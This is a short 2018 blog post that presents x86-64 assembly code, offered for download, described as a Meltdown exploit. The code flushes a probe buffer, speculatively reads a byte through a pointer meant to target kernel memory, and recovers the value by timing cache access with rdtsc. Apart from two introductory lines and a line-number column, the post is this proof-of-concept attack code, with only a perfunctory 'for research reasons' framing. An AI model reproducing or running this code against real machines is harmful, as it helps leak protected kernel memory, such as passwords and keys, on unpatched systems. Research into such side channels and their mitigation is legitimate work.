Meltdown exploit

January 4, 2018    Article    520 words    3 mins read
Meltdown exploit

In case you don’t know what Meltdown and Spectre are, check this out (paper for Meltdown | paper for Spectre).

Below is the assembler code (link for download) that breaks the isolation between userspace and kernelspace, aka Meltdown. For research reasons, of course.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
.code

EXTRN   pointers:QWORD
EXTRN   speculative:QWORD
EXTRN	L2_cache_clear:QWORD
EXTRN	times:QWORD

_run_attempt	PROC PUBLIC
	push rdi
	push rbx
	push r8		; &speculative[i]
	push r9		; &pointers[i]
	push r10	; count
	push r11
	push r13	; times
	push r15	; pointers[i]

	mov r10, 2048
	lea r8, pointers
	mov r9, qword ptr [speculative]
	lea r13, times

_loop:
	mov r15, qword ptr [r8]	; next pointer

	; cache invalidate:
	mov rdi, qword ptr [L2_cache_clear]
	mov rcx, ((256 * 4096) / 64)
_cache_invalidate_loop:
	inc qword ptr [rdi];
	add rdi, 64
	dec rcx
	jnz _cache_invalidate_loop

	sub rdi, (256 * 4096)
	xor rax, rax
	mfence

	mov rdx, qword ptr [r9]	; next pointer is speculative?
	test rdx, rdx ; if RDX is zero, we want to run this iteration speculatively.
	jnz _speculative_correction ; we rig the predictor to assume this is never taken

; this is run for real on all the boring iterations, but run speculatively on the
; kernel iteration

	mov al, byte ptr [r15] ; load the value at the pointer
	shl rax, 6
	lea rdi, qword ptr [rdi + rax]
	clflush [rdi] ; do a dependent load and store

_loop_iter:
	cmp r10, (2048-999)
	jne _nobreak
;	int 3
_nobreak:
	cmp r10, (2048-1000)
	je _speculative_correction

	add r9, 8
	add r8, 8
	dec r10
	jnz _loop

_end_of_function:
	pop r15
	pop r13
	pop r11
	pop r10
	pop r9
	pop r8
	pop rbx
	pop rdi
	ret

_speculative_correction:
	; at this point:
	; r13 = &times[0]
	; rdi = &L2_cache_clear[0]
	; everything else = scratch

	mov r9, 256
	xor r8, r8
_speculative_timing_loop:
	mfence

	; time -> R11
	rdtsc
	shl rdx, 32
	xor rdx, rax
	mov r11, rdx

	; do the read
	mov rax, r8
	shl rax, 6
	inc qword ptr [rdi + rax]
	mfence

	; time_start - time_end -> RDX
	rdtsc
	shl rdx, 32
	xor rdx, rax
	sub rdx, r11

	mov qword ptr [r13], rdx

	; iterate:
	inc r8
	add r13, 8
	dec r9
	jnz _speculative_timing_loop


	jmp _end_of_function


_run_attempt	ENDP

END